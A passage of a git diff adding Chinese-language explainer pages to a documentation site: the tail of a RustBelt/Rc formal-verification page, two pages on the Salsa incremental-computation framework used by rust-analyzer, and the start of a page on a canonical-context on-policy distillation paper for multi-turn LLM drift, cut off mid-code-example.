+// 无论谁先"忘记"，数据都不会被提前释放
+println!("a = {}, b = {}", a, b);  // a = 42, b = 42
+
+// 当 a 和 b 都离开作用域时，引用计数归零，内存自动释放
+// 不会内存泄漏，不会 use-after-free，不会 double-free
+```
+
+从用户的角度看，`Rc` 就是一个完全安全的工具。但它的内部实现（在标准库源码里）是这样的伪代码逻辑：
+
+```rust
+// Rc 的内部 —— 大量 unsafe 代码（简化示意）
+struct Rc<T> {
+    ptr: *mut RcBox<T>,  // 原始指针！编译器不会检查你
+}
+
+impl<T> Rc<T> {
+    fn clone(&self) -> Rc<T> {
+        unsafe {
+            // 💣 这里用的是 raw pointer 操作，绕过 borrow checker
+            // 程序员手动保证：不会在递增计数的时候有人修改数据
+            (*self.ptr).count += 1;  // 递增引用计数
+        }
+        Rc { ptr: self.ptr }
+    }
+}
+```
+
+RustBelt 的工作就是：**数学上证明了上面的 `unsafe` 代码，在任何情况下都不会导致内存安全问题。** 这个证明不是靠"我觉得应该没问题"，而是 Coq 检查过的形式化证明。
+
+### 核心工具：Iris 分离逻辑框架
+
+RustBelt 不是从零开始建的，它基于一个叫 **Iris** 的框架。Iris 本身也是一个研究项目，它是一个通用的、可以用 Coq 来证明的分离逻辑系统。
+
+可以这样理解它们的关系：
+
+```
+Iris       = 一套数学"语言"（分离逻辑的增强版）
+RustBelt   = 用 Iris 这门语言来"写"Rust 的安全证明
+Coq        = 检查 Iris 和 RustBelt 的证明有没有逻辑漏洞的"校对员"
+```
+
+Iris 最强大的地方在于它支持**"高阶"推理**——可以 reasoning about 程序"对程序的推理"。这听起来有点绕，但简单来说：它可以处理嵌套的抽象（比如 trait 抽象、闭包等），而 Rust 的核心特性恰好就是高度抽象的语言。
+
+## 五、这篇论文的地位
+
+- **首次**给一个真实语言的子集（包含 unsafe）做了完整的机器检查安全证明。
+- 证明了证明是**可扩展的**——每增加一个使用 unsafe 的库，都可以单独验证，不必重新证明整个语言。
+- 验证了**标准库的核心组件**（Rc、Arc、Vec、Cell 等），不是只验证了玩具代码。
+- 衍生出了 **Miri**——现在 Rust 官方工具链自带的 undefined behavior 检测器。很多 Rust 开发者每天都在用，但它背后的理论基础正是这篇论文。
+
+## 六、一句话总结
+
+> RustBelt 用数学证明回答了一个问题："Rust 说它安全，我们怎么知道它不是吹牛？"答案是——我们把它写成数学公式，让计算机帮你逐行检查，直到检查完毕，没有发现任何漏洞。
diff --git a/src/content/docs/papers/rwkv-2023.md b/src/content/docs/papers/rwkv-2023.md
index 0bd8a5581..00963f92b 100644
--- a/src/content/docs/papers/rwkv-2023.md
+++ b/src/content/docs/papers/rwkv-2023.md
@@ -2,7 +2,7 @@
 title: RWKV — 让 RNN 拿到 Transformer 那张训练并行的入场券
 来源: 'Peng et al., "RWKV: Reinventing RNNs for the Transformer Era", EMNLP Findings 2023'
 日期: 2026-05-31
-子分类: 模型与训练
+子分类: ml
 分类: 机器学习
 难度: 中级
 provenance: pipeline-v3
diff --git a/src/content/docs/papers/salsa-incremental-2019.md b/src/content/docs/papers/salsa-incremental-2019.md
new file mode 100644
index 000000000..e85a10ad1
--- /dev/null
+++ b/src/content/docs/papers/salsa-incremental-2019.md
@@ -0,0 +1,284 @@
+---
+title: Salsa — 增量计算框架（零基础：把程序写成可缓存的查询图）
+来源: https://github.com/salsa-rs/salsa/blob/master/book/src/about_salsa.md
+日期: 2026-06-13
+子分类: 编辑器与 IDE
+分类: CLI
+provenance: pipeline-v3
+---
+
+## 日常类比：手机导航，不是每次偏航都重算全城路网
+
+你开车用导航。第一次规划路线时，App 会算一遍：读地图（输入）→ 分段求最短路径（中间步骤）→ 给你整条路线（输出）。
+
+途中你拐进一条小路（**输入变了**）。好的导航**不会**把整张城市路网重新 Dijkstra 一遍——它只从「当前路段」往后，把仍有效的旧路段留着，只重算**真的受影响**的那几段。
+
+**Salsa** 就是给程序员用的这类「智能导航引擎」，只不过「地图」是你的源文件、配置、依赖图，「路线」是 parse、类型检查、补全列表等派生结果。框架由 Niko Matsakis 等人从 **rustc 的 query 系统**抽象出来，2019 年在 RustConf 上以 *Salsa: An Incremental Computation Framework* 公开演讲；如今它是独立 Rust crate，也是 [rust-analyzer](https://github.com/rust-lang/rust-analyzer) 的内核之一。
+
+官方定义很直白：Salsa 用于编写 **incremental, on-demand programs**——输入不断变化时，持续产出**与最新输入一致**的输出，且尽量复用上次算过的中间结果。
+
+## 是什么
+
+把传统程序想成一条直线：
+
+```
+输入 → 你的整个程序() → 输出
+```
+
+每次改输入就**全量重跑**。Salsa 要求你把程序拆成：
+
+1. **Inputs（输入）**：外部可变的数据，改它们会 bump 全局「版本号」revision
+2. **Tracked functions（跟踪函数）**：纯函数 `K → V`，第一次调用时执行并 **memo**；再次调用时先问「依赖变了吗」
+3. **Database（数据库）**：存所有 input 值、memo、依赖边、revision 计数器
+
+外层循环长这样（官方 overview 的骨架）：
+
+```rust
+let mut db = MyDb::default();
+let input = make_initial_input(&db);
+
+loop {
+    let output = your_program(&db, input); // 内部是一串 tracked query
+    react_to_user(&output);
+    mutate_input(&mut db, input);          // 只有这里能改 input
+}
+```
+
+第二次 `your_program` 调用之所以可能更快，是因为 Salsa 在 db 里记住了上次每个 query 的结果和依赖；输入微变时，只重算**失效子图**上的节点。
+
+## 为什么需要它
+
+下面这些场景，「全量重算」都扛不住：
+
+| 场景 | 输入变化频率 | 全量代价 |
+|------|-------------|---------|
+| IDE 语言服务（每按键） | 极高 | 整 crate 解析+类型检查 → 数百毫秒级卡顿 |
+| 交互式编译器前端 | 高 | 用户等不起 |
+| 大型配置/构建图求值 | 中 | 改一行配置重算整张 DAG |
+
+Salsa 的前提（官方反复强调）：
+
+- **Tracked 函数必须是确定性的**——同样输入必须同样输出；否则缓存会返回「合法但错误」的结果
+- **改 input 只能发生在外层**，tracked 函数体内拿到的是 `&Db`，不能偷偷 `set` input
+- 程序最好是 **on-demand（按需）**：你问 `completions_at` 才算那条链，而不是每次扫完整 IR
+
+思想来源包括 Adapton、Glimmer、rustc query；Salsa 的贡献是把「增量」藏进 **普通 Rust 函数 + proc-macro**，让应用作者不必手写整张依赖图。
+
+## 核心概念
+
+### 1. Salsa struct 其实都是整数 Id
+
+`#[salsa::input]`、`#[salsa::tracked]`、`#[salsa::interned]` 生成的结构体**不内嵌数据**，只是 `newtype Id`。真正字段存在 Database 里；拷贝 `ProgramFile` 很便宜，读字段要 `file.contents(&db)`。
+
+### 2. Inputs
+
+编译器场景的典型 input：
+
+```rust
+#[salsa::input]
+pub struct ProgramFile {
+    pub path: PathBuf,
+    #[returns(ref)]  // getter 返回 &String，避免大字符串克隆
+    pub contents: String,
+}
+```
+
+- 创建：`ProgramFile::new(&db, path, text)`（只需 `&db`）
+- 读取：`file.contents(&db)`
+- 修改：`file.set_contents(&mut db).to(new_text)` —— **会 bump revision**
+
+若 `set` 的新值与旧值 `PartialEq` 相等，Salsa **不会**增加 revision（常见优化）。
+
+### 3. Tracked functions
+
+```rust
+#[salsa::tracked]
+fn parse_file(db: &dyn Db, file: ProgramFile) -> Ast {
+    let contents: &str = file.contents(db);
+    Ast::parse(contents)
+}
+```
+
+调用时 Salsa 记录：读了哪些 input/query、各依赖上次变更的 revision；并把返回值 memo 化。再次调用时走 **Red-Green 算法**（名字来源，也是「Salsa」梗的来源）决定是否重算。
+
+### 4. Tracked structs（中间不可变值）
+
+解析出的 AST、类型表行等。只能在 tracked 函数里 `Ast::new(db, items)` 创建；**没有 setter**。跨 revision 重跑时，Salsa 会把新旧 execution 里的 tracked struct **按顺序或 `#[id]` 字段对齐**；若字段值相同，下游 query 可跳过。
+
+`#[id]` 解决「列表重排」问题：两个 `Item` 若 `name` 相同就视为同一实体，而不是「第一个对第一个」。
+
+### 5. Interned structs（驻留 / 快速相等）
+
+```rust
+#[salsa::interned]
+struct Word {
+    #[returns(ref)]
+    text: String,
+}
+```
+
+相同字段值 → 保证相同 Id → `==` 是整数比较。编译器里标识符、字面量池常用。
+
+### 6. Accumulators（旁路输出）
+
+Tracked 函数原则上不能有副作用。诊断、警告走 accumulator：
+
+```rust
+#[salsa::accumulator]
+struct Diagnostic(String);
+
+// 在 type_check 里：Diagnostic::push(db, msg);
+// 外面：type_check::accumulated::<Diagnostic>(&db)
+```
+
+### 7. Red-Green 算法（revision + 验证）
+
+1. 全局 revision：`R1 → R2 → R3 …`，每次 `set` input 递增
+2. 每个 memo 存：`verified_at`、返回值、直接依赖及其 `changed_at`
+3. 再次调用 tracked 函数：若当前 revision 更新，检查每个依赖的 `changed_at ≤ verified_at` → **全过则 green（直接返回缓存）**；否则 **red（重算）**
+
+验证成本是 **O(直接依赖数)**，不必 BFS 整张图。
+
+### 8. Backdating（回溯日期）
+
+输入变了，中间 query 重算后**输出与上次 PartialEq 相等**（例如只加了注释、AST 不变）→ Salsa 把该 memo 的 `changed_at` **回溯**到旧 revision。下游 `type_check` 可能根本不用重跑。这是「只改注释仍很快」的机制之一。
+
+### 9. Durability（耐久度优化）
+
+给 input 标 `LOW / MEDIUM / HIGH`：crates.io 依赖几乎不变 → HIGH；用户 buffer → LOW。改 LOW 耐久 input 时，只依赖 HIGH 的子图可 **O(1) 判定仍有效**，跳过逐边验证。
+
+## 代码示例
+
+### 示例 1：最小 input + tracked + revision
+
+下面是一个可放进 Salsa tutorial 的「文件行数」切片，展示 memo 与 `set` 触发的重算：
+
+```rust
+use salsa::Database;
+
+#[salsa::input]
+struct SourceFile {
+    #[returns(ref)]
+    text: String,
+}
+
+#[salsa::db]
+trait MiniDb: Database {}
+
+#[salsa::tracked]
+fn line_count(db: &dyn MiniDb, file: SourceFile) -> usize {
+    file.text(db).lines().count()
+}
+
+fn demo(mut db: impl MiniDb) {
+    let f = SourceFile::new(&db, "fn main() {}\n".into());
+    assert_eq!(line_count(&db, f), 1); // 第一次：真算
+
+    f.set_text(&mut db).to("a\nb\nc\n".into());
+    assert_eq!(line_count(&db, f), 3); // input 变了 → 重算
+
+    f.set_text(&mut db).to("a\nb\nc\n"); // 与上次相等 → 不 bump revision
+    assert_eq!(line_count(&db, f), 3); // 仍命中缓存
+}
+```
+
+### 示例 2：解析链 + backdating 直觉
+
+官方 algorithm 文档用 `module_text → parse_module → type_check` 说明「文本变但 AST 可能不变」：
+
+```rust
+#[salsa::input]
+struct Module;
+
+#[salsa::tracked(returns(ref))]
+fn module_text(db: &dyn Db, module: Module) -> String {
+    /* 默认 panic，实际由 set 注入 */
+    unimplemented!()
+}
+
+#[salsa::tracked]
+fn parse_module(db: &dyn Db, module: Module) -> Ast {
+    let text = module_text(db, module);
+    Ast::parse(text) // 伪代码
+}
+
+#[salsa::tracked]
+fn type_check(db: &dyn Db, module: Module) {
+    let ast = parse_module(db, module);
+    // 若 ast 与上次相同（backdating），本函数可能完全不重跑
+    check_types(ast);
+}
+
+// 用户只加注释：module_text 变 → parse_module 重跑
+// → AST PartialEq 相等 → backdate → type_check 验证通过 → 复用
+```
+
+### 示例 3：Durability 与 sysroot
+
+rust-analyzer 类项目的典型写法：
+
+```rust
+// 几乎不变的 std 源码
+sysroot.set_text(&mut db)
+    .with_durability(salsa::Durability::HIGH)
+    .to(stdlib_src);
+
+// 用户正在编辑的文件
+user_file.set_text(&mut db)
+    .with_durability(salsa::Durability::LOW)
+    .to(buffer);
+```
+
+改 `user_file` 时，只读 HIGH 耐久数据的 query（例如某些已解析的依赖 crate 摘要）可快速判定 memo 仍有效。
+
+## 与 Adapton、rustc query 的对比
+
+| 维度 | Adapton | rustc query | Salsa |
+|------|---------|-------------|-------|
+| 编程模型 | `cell` / `thunk` / `force` | 编译器内部宏 | `#[salsa::…]` + 普通函数 |
+| 典型用户 | 研究原型 | rustc 自身 | rust-analyzer、实验前端 |
+| 失效策略 | 可 eager 标脏 | 指纹 + 磁盘缓存 | Red-green + revision |
+| 学习曲线 | 学术 API | 不可直接复用 | 官方 Book + tutorial |
+
+Salsa **不是** rust-analyzer 私有代码；任何「输入频繁变、派生贵、可写成纯函数」的系统都能用——增量 linter、配置编译器、交互式数据管道原型等。
+
+## 适用 vs 不适用
+
+**适用**：
+
+- 语言服务器 / IDE 后端（范本：rust-analyzer）
+- 多阶段编译 pipeline（parse → resolve → typecheck）
+- 派生结果可 memo、调用模式按需
+
+**不适用**：
+
+- 几百行一次性脚本——db 与宏开销不值
+- tracked 里读网络/时钟/随机数——破坏确定性
+- 每次必须全量输出的批处理——lazy memo 帮不上忙
+- 需要跨进程共享增量 cache——另做 fingerprint / on-disk artifact（rustc、Bazel 路线）
+
+## 常见坑
+
+1. **在 tracked 里偷偷做 IO**：读磁盘却不通过 input → 文件变了 Salsa 不知道 → 结果 stale
+2. **忘记 `#[id]`**：列表重排后 struct 错配 → 多余重算或错误 diff
+3. **Durability 标错**：用户 buffer 标 HIGH → 改代码不触发重算
+4. **多个 Database 实例**：memo 与 revision 绑定在特定 db 上，乱 clone 等于冷缓存
+5. **在 query 里 `set` input**：编译期/运行期都会踩雷——mutation 只能在外层
+
+## 延伸阅读
+
+- 官方书：[About Salsa](https://salsa-rs.github.io/salsa/about_salsa.html) · [Overview](https://salsa-rs.github.io/salsa/overview.html) · [Red-Green algorithm](https://salsa-rs.github.io/salsa/reference/algorithm.html) · [Tutorial](https://salsa-rs.github.io/salsa/tutorial.html)
+- 视频：RustConf 2019 — Niko Matsakis *Salsa: An Incremental Computation Framework*
+- 源码：[salsa-rs/salsa](https://github.com/salsa-rs/salsa)（crates.io 上标注 experimental，API 仍在演进）
+- 社区：[salsa.zulipchat.com](https://salsa.zulipchat.com/)
+
+## 关联
+
+- [[salsa-incremental-rust-analyzer]] —— 同一框架在 rust-analyzer 里的落地与 query 链形状
+- [[rust-analyzer-architecture]] —— LSP 前台 + Salsa 台账 + hir 流水线全景
+- [[language-server-protocol-spec]] —— 对外协议；Salsa 管服务器内部增量
+- [[debug-adapter-protocol]] —— 调试与 LSP 并列；分析侧仍靠增量 query
+
+## 反向链接
+
+<!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
diff --git a/src/content/docs/papers/salsa-incremental-rust-analyzer.md b/src/content/docs/papers/salsa-incremental-rust-analyzer.md
new file mode 100644
index 000000000..e37ca95db
--- /dev/null
+++ b/src/content/docs/papers/salsa-incremental-rust-analyzer.md
@@ -0,0 +1,239 @@
+---
+title: Salsa — 按需增量计算框架（rust-analyzer 的「只重算变了的那块」引擎）
+来源: https://github.com/salsa-rs/salsa
+日期: 2026-06-13
+分类: CLI
+子分类: 编辑器与 IDE
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**Salsa** 是一个 Rust 库，全称来自论文/项目描述 *A Generic Framework for On-Demand, Incrementalized Computation*——**按需、增量化的通用计算框架**。它把程序拆成一堆「查询（query）」：输入变了以后，**只重算真正受影响的那一小部分**，其余结果直接从缓存里拿。
+
+日常类比：你维护一份会随编辑不断更新的**大型 Excel 工作簿**。A1 是原始数据（输入），B1=`=A1*2`，C1=`=B1+10`，D1 引用整列做汇总。你改 A1 时，Excel 不会把整张表所有公式重算一遍——它沿着依赖链只更新 B1、C1、D1 等**真的依赖 A1 的格子**。Salsa 就是给编译器 / IDE 用的「智能 Excel 引擎」：你改一行源码，它只重跑 parse → typecheck → completion 链上**变脏的 query**。
+
+Salsa 由 Niko Matsakis 等人从 **rustc 的 query 系统**抽象而来，是 [rust-analyzer](https://github.com/rust-lang/rust-analyzer) 的核心基础设施。思想受 Adapton、Glimmer VM、rustc query 启发，但用 Rust proc-macro 把增量逻辑藏进普通函数里，让应用作者几乎不用手写依赖图。
+
+## 为什么重要
+
+不理解 Salsa，下面几件事很难讲清楚：
+
+- 为什么 rust-analyzer 在你**每按一个键**时还能在几十毫秒内给出补全、跳转、悬停类型——背后不是「全量重新分析整个 crate」，而是数千个 memoized query 的增量命中
+- 为什么 IDE 语言服务要把分析逻辑写成**纯函数 + 显式输入**——Salsa 要求 tracked 函数无副作用，否则缓存会返回过期结果
+- 为什么「增量编译」和「增量 IDE 分析」可以共用同一套心智模型——都是 **input → 派生值 → revision 失效 → 选择性重算**
+- 为什么 LSP 客户端（VS Code / Neovim）可以换编辑器而语言体验差不多——**协议是 LSP，增量引擎往往是 Salsa 这类 query 框架**
+
+## 核心概念
+
+Salsa 程序可以压成 **五类构件 + 一套算法**：
+
+### 1. Database（数据库）
+
+所有 input 的值、tracked 函数的 memo、依赖边、revision 计数器都存在 **Database** 里。每次「跑程序」其实是在同一个 db 上反复 query；db 记住上次算过什么，下次输入微变时决定复用还是重算。
+
+### 2. Inputs（输入）
+
+外部世界可变的数据：`文件内容`、`项目配置`、`打开的文件列表` 等。用 `#[salsa::input]` 标记，通过 **setter** 修改（如 `file.set_contents(&mut db).to(...)`）。**修改 input 会 bump 全局 revision**。
+
+Input 在 Rust 类型层面往往只是一个 **newtype 整数 Id**——真正字符串存在 db 里，拷贝 `File` 很便宜。
+
+### 3. Tracked functions（跟踪函数）
+
+纯函数 `K → V`，用 `#[salsa::tracked]` 标记。第一次调用时：执行函数体、记录读了哪些 input/其他 query、把返回值 memo 化。再次调用时：若依赖在「上次验证之后」没变，**直接返回缓存**。
+
+规则摘要：
+
+- 第一个参数必须是 `&dyn Db`（只读 db，tracked 内部不能改 input）
+- 函数必须是确定性的——同样输入必须同样输出
+
+### 4. Tracked / Interned structs（中间结构）
+
+- **Tracked struct**：解析 AST、类型表等**派生、不可变**的中间结果；字段存在 db 里，结构体本身仍是 Id
+- **Interned struct**：字符串池、标识符等需要 **O(1) 相等比较** 的值；相同字段值保证得到相同 Id（类似字符串驻留）
+
+### 5. Accumulators（累加器）
+
+tracked 函数原则上不能「顺便」往全局 Vec 里 push 副作用。诊断信息、警告等走 **accumulator**：在 typecheck 里 `Diagnostics::push(db, msg)`，外面用 `type_check::accumulated::<Diagnostics>(db)` 收集。
+
+### 6. Red-Green 算法（名字由来）
+
+Salsa 名字来自 **Red-Green 增量算法**（不是墨西哥 salsa 酱，虽然 Niko 演讲里常开玩笑）：
+
+1. **Revision**：每次 `set` 一个 input，全局 revision `R1 → R2 → R3 …` 递增；每个 input 还记录「上次被改的 revision」
+2. **Memo 元数据**：每个 tracked 函数存 `(返回值, verified_at, 依赖列表 + 各依赖的 changed_at)`
+3. **验证（verify）**：再次调用时，若当前 revision 更新，检查每个依赖的 `changed_at` 是否 ≤ 本 memo 的 `verified_at`——全过则 **green（复用）**；否则 **red（重算）**
+
+这比「从脏 input BFS 整张依赖图标红」便宜得多：验证是 **O(直接依赖数)**，与全图规模无关。
+
+### 7. Durability（耐久度，优化）
+
+给 input 标 **Low / Medium / High**：标准库源码几乎不变 → High；用户正在编辑的 workspace 文件 → Low。改 Low 耐久 input 时，只依赖 High 耐久数据的 query 可以 **O(1) 判定仍然有效**，跳过逐边验证。rust-analyzer 里 `crates.io` 依赖与 workspace 源码就用不同 durability。
+
+## 代码示例
+
+### 示例 1：最小可运行的 input + tracked 函数
+
+下面是一个「文件 → 行数」的微型 IDE 后端切片：
+
+```rust
+use salsa::Database;
+
+// 1. 声明 input：磁盘上的源文件
+#[salsa::input]
+pub struct SourceFile {
+    pub path: String,
+    #[returns(ref)]
+    pub text: String,
+}
+
+// 2. 定义 database trait（macro 生成存储）
+#[salsa::db]
+pub trait MiniDb: Database {}
+
+// 3. tracked 派生：纯函数，自动 memo
+#[salsa::tracked]
+pub fn line_count(db: &dyn MiniDb, file: SourceFile) -> usize {
+    file.text(db).lines().count()
+}
+
+// 4. 外层循环：改 input → 再 query
+fn main() {
+    let mut db = MiniDb::default(); // 具体类型由 #[salsa::db] 生成
+    let file = SourceFile::new(&db, "lib.rs".into(), "fn main() {}\n".into());
+
+    assert_eq!(line_count(&db, file), 1); // 第一次：真正数行
+
+    file.set_text(&mut db).to("fn main() {}\nfn foo() {}\n".into());
+    assert_eq!(line_count(&db, file), 2); // 第二次：text 变了，重算
+
+    file.set_text(&mut db).to("fn main() {}\nfn foo() {}\n"); // 相同内容
+    assert_eq!(line_count(&db, file), 2); // PartialEq 相等 → 不 bump revision → 仍命中缓存
+}
+```
+
+要点：`set_text` 若新值与旧值 **PartialEq 相等**，Salsa **不会**增加 revision——这是常见的「白打一遍 setter」优化。
+
+### 示例 2：rust-analyzer 风格的 query 链 + interned 标识符
+
+真实 IDE 不会只有一个 `line_count`，而是一条 **分层 query 链**。下面用伪代码展示 rust-analyzer 里「按 `.` 出补全」时触发的依赖形状（名称简化，结构与生产代码同构）：
+
+```rust
+#[salsa::input]
+struct FileText {
+    #[returns(ref)]
+    text: String,
+}
+
+#[salsa::interned]
+struct Name {
+    #[returns(ref)]
+    text: String,
+}
+
+#[salsa::tracked]
+struct Item {
+    #[id]           // 跨 revision 用 name 对齐，而不是「第几个 Item」
+    name: Name,
+}
+
+#[salsa::tracked]
+fn parse_file(db: &dyn Db, file: FileText) -> Vec<Item> {
+    // 读 file.text(db)，构造 Item 列表……
+    todo!()
+}
+
+#[salsa::tracked]
+fn type_of_item(db: &dyn Db, item: Item) -> Ty {
+    // 只读 item 及其子 query，不读整个 crate 文本
+    todo!()
+}
+
+#[salsa::tracked]
+fn completions_at(db: &dyn Db, file: FileText, offset: u32) -> Vec<String> {
+    let items = parse_file(db, file);
+    // 找到 offset 处的 Item，调用 type_of_item …
+    todo!()
+}
+```
+
+你改函数体里一个字符 → 只有 `FileText` input 变 revision → `parse_file` 可能重跑 → 若 AST 结构不变、`#[id] name` 对齐成功，大量 `type_of_item` memo **仍有效** → `completions_at` 很快返回。这就是 rust-analyzer 能「每键响应」的原因：**失效范围被限制在依赖子图里**。
+
+### 示例 3：Durability 与 accumulator（诊断）
+
+```rust
+#[salsa::accumulator]
+pub struct Diagnostic(String);
+
+#[salsa::tracked]
+fn type_check(db: &dyn Db, item: Item) {
+    if some_error {
+        Diagnostic::push(db, "mismatched types".into());
+    }
+}
+
+// IDE 请求「当前文件所有诊断」：
+let diags: Vec<String> = type_check::accumulated::<Diagnostic>(&db);
+```
+
+Durability 在 setter 链上设置：
+
+```rust
+// 几乎不变的 sysroot 源码
+sysroot_file.set_text(&mut db).with_durability(Durability::HIGH).to(text);
+// 用户正在敲的 buffer
+workspace_file.set_text(&mut db).with_durability(Durability::LOW).to(text);
+```
+
+## 与 Adapton / rustc query 的关系
+
+|  | Adapton (2014) | Salsa (2018+) |
+|--|----------------|---------------|
+| 接口 | `cell` / `thunk` / `force` / `set` 四原语 | 普通 Rust 函数 + `#[salsa::…]` 宏 |
+| 失效 | 可 eager 标脏 | Red-green + revision 验证 |
+| 主战场 | 研究原型 | rust-analyzer、实验性编译器前端 |
+| 持久化 | 进程内 | 进程内（跨进程需另做 fingerprint，rustc 路线） |
+
+Salsa **不是** rust-analyzer 独有的私有代码——它是独立 crate [`salsa`](https://crates.io/crates/salsa)，任何「输入频繁变、派生计算贵、派生函数可写成纯函数」的系统都能用（增量 linter、配置编译器、build graph 原型等）。
+
+## 适用 vs 不适用
+
+**适用**：
+
+- 语言服务器 / IDE 后端（范本：rust-analyzer）
+- 编译器式多阶段 pipeline（parse → resolve → typecheck → codegen）
+- 输入规模中等、派生结果可 memo、调用模式是 **按需（on-demand）** 而非每次全量扫
+
+**不适用**：
+
+- 几百行的一次性脚本——宏与 db 开销不值
+- tracked 函数必须读网络/时钟/随机数——破坏纯函数假设，缓存会 lie
+- 每次都要完整输出的批处理（MapReduce 式全量）——lazy memo 帮不上忙
+- 需要跨机器共享增量 cache——应用 Bazel/Nix/rustc 的 on-disk artifact 模型
+
+## 常见坑
+
+1. **在 tracked 里偷偷做 IO**：读文件却不通过 input → 改了文件 Salsa 不知道 → 补全/诊断 stale
+2. **忘记 `#[id]`**：列表重排后 Item 按「创建顺序」对齐，引发多余重算甚至错误 diff
+3. **Durability 标错**：把用户 buffer 标 HIGH → 改代码不触发重算，hover 显示旧类型
+4. **把 Database 当普通 struct 乱 clone**：revision / memo 与特定 db 实例绑定，多实例等于多份冷缓存
+
+## 延伸阅读
+
+- 官方书：[Salsa overview](https://salsa-rs.github.io/salsa/overview.html) · [Red-Green algorithm](https://salsa-rs.github.io/salsa/reference/algorithm.html) · [How Salsa works](https://salsa-rs.github.io/salsa/how_salsa_works.html)
+- 视频：RustConf 2019 — Niko Matsakis *Salsa: An Incremental Computation Framework*
+- 源码：[salsa-rs/salsa](https://github.com/salsa-rs/salsa) · [rust-lang/rust-analyzer](https://github.com/rust-lang/rust-analyzer)
+- 规范层：[[language-server-protocol-spec]] —— LSP 管编辑器↔服务器消息；Salsa 管服务器内部如何增量算结果
+- 理论前作：[[salsa-adapton]] · [[adapton]] · [[self-adjusting]]
+
+## 关联
+
+- [[language-server-protocol-spec]] —— rust-analyzer 对外说 LSP，对内跑 Salsa query
+- [[tree-sitter-2018]] —— 增量解析器；常与 Salsa 式 query 层配合（RA 自研 parser，但问题同类）
+- [[debug-adapter-protocol]] —— 调试适配与 LSP 并列；分析侧仍靠 Salsa 类引擎
+- [[salsa-adapton]] —— 同一框架的 Adapton 对比版笔记
+- [[ssa]] —— 编译器 IR 层增量与 query 级增量互补
+
+## 反向链接
+
+<!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
diff --git a/src/content/docs/papers/same-evidence-different-answers-canonical-context-on-policy-distillation-arxiv-2.md b/src/content/docs/papers/same-evidence-different-answers-canonical-context-on-policy-distillation-arxiv-2.md
new file mode 100644
index 000000000..1641d18fb
--- /dev/null
+++ b/src/content/docs/papers/same-evidence-different-answers-canonical-context-on-policy-distillation-arxiv-2.md
@@ -0,0 +1,221 @@
+---
+title: Same Evidence, Different Answers: Canonical-Context On-Policy Distillation
+来源: https://arxiv.org/abs/2605.30251
+日期: 2026-06-13
+分类: 机器学习
+子分类: 模型与训练
+provenance: pipeline-v3
+---
+
+# Same Evidence, Different Answers
+
+## 一个日常类比
+
+想象你在玩"猜数字"游戏。
+
+规则是这样的：我手里有一个三位数，比如 **4-7-2**。
+
+**场景 A（一次性给出）**：我说"答案是 4-7-2"。你立刻回答"472"。
+
+**场景 B（分三轮给出）**：第一轮我说"第一位是 4"，第二轮说"第二位是 7"，第三轮说"第三位是 2"。每轮你都要猜一次。结果你前两轮乱猜，第三轮虽然知道全部信息了，却猜成了"274"。
+
+为什么同样的证据，不同的呈现方式，答案就不一样了？
+
+这就是这篇论文要解决的核心问题：**大语言模型（LLM）在一次性收到全部指令时能正确完成任务，但当同样的信息被拆分成多轮对话逐步给出时，模型就会出错。**
+
+## 问题定义：FULL vs RAW-SHARDED
+
+论文提出了两个关键概念：
+
+| 模式 | 说明 | 例子 |
+|------|------|------|
+| **FULL** | 所有信息在一个 prompt 里 | "小明有3个苹果，小红给他2个，他又买了5个，现在有几个？" |
+| **RAW-SHARDED** | 同一信息被拆成多轮对话 | 第1轮："小明有3个苹果" → 第2轮："小红给了他2个" → 第3轮："他又买了5个" → 问："现在有几个？" |
+
+两种模式包含的信息完全一样，但模型在 RAW-SHARDED 下的表现差很多。
+
+## 根因：自我锚定漂移（Self-Anchored Drift）
+
+论文认为根本原因是 **self-anchored drift**（自我锚定漂移）。
+
+用一个类比来理解：
+
+> 你在拼图。有人一次性给你全部 100 块拼图（FULL），你能很快拼出完整的画面。
+>
+> 但如果是每次只给你 1-2 块（RAW-SHARDED），你会先根据手头的几块**猜测**整幅图是什么。猜错了没关系——但你已经"以为"自己知道了。等到最后一块拼图给你时，你之前的错误猜测已经影响了对最终画面的判断。
+
+在 LLM 中，这个过程是这样的：
+
+1. 第 1 轮：模型只看到部分信息，它会**不自觉做出假设**来"脑补"
+2. 第 2 轮：这些假设已经被写进了对话历史，变成了"上下文的一部分"
+3. 第 N 轮：当完整信息终于出现时，之前错误的假设已经像胶水一样粘在了上下文中，**污染了最终的推理**
+
+这就是"自我锚定"——模型被自己早期产生的假设锚定了，无法回到正确的轨道上。
+
+## 解决方案：CCOPD
+
+论文提出的方法是 **Canonical-Context On-Policy Distillation**（规范上下文在策略蒸馏），简称 CCOPD。
+
+### 核心思想
+
+用一个简单的类比：
+
+> 老师（Teacher）和学生在同一间教室里。老师面前有一本完整的参考答案书（FULL prompt），学生面前只有被撕碎分散在不同页的书页（RAW-SHARDED）。
+>
+> 每做完一道题，老师看一眼参考答案，告诉学生"你应该这样做"。学生反复练习，最终即使只看碎片化的书页，也能做出和参考答案一样的答案。
+
+### 两个角色
+
+CCOPD 中，**同一个基础模型**担任两个角色：
+
+```
+┌─────────────────────────────────────────────┐
+│              同一个基础模型                    │
+│                                             │
+│  ┌──────────────┐       ┌──────────────┐    │
+│  │   Teacher    │       │   Student    │    │
+│  │  (冻结权重)   │       │  (可训练)     │    │
+│  │              │       │              │    │
+│  │ 输入: FULL   │       │ 输入: 逐轮    │    │
+│  │ 输出: 标准答案 │       │ 输出: 逐步推理  │    │
+│  └──────────────┘       └──────────────┘    │
+│         │                      │             │
+│         └────── 对齐 ──────────┘             │
+│         (让学生行为贴近老师的标准行为)          │
+└─────────────────────────────────────────────┘
+```
+
+- **Teacher（教师）**：权重冻结，接收完整的 FULL prompt，输出一份"标准答案"
+- **Student（学生）**：权重可训练，接收逐轮给出的 RAW-SHARDED 对话，逐步生成回答
+
+训练的目标就是让 Student 的行为尽可能靠近 Teacher 的标准行为。
+
+### 代码示例 1：数据构造
+
+首先，我们需要把一条完整的问题拆分成多轮对话：
+
+```python
+# 原始完整问题（FULL prompt）
+full_prompt = """
+小明有3个苹果。小红给了小明2个苹果。
+然后小明又去商店买了5个苹果。
+请问小明现在一共有多少个苹果？
+"""
+
+# 正确答案（Teacher 的输出）
+teacher_answer = "小明现在有 10 个苹果。计算过程：3 + 2 + 5 = 10。"
+
+# 将完整问题拆成多轮对话（RAW-SHARDED）
+sharded_conversation = [
+    {"role": "user", "content": "小明有3个苹果。"},
+    {"role": "assistant", "content": "好的，小明目前有3个苹果。"},
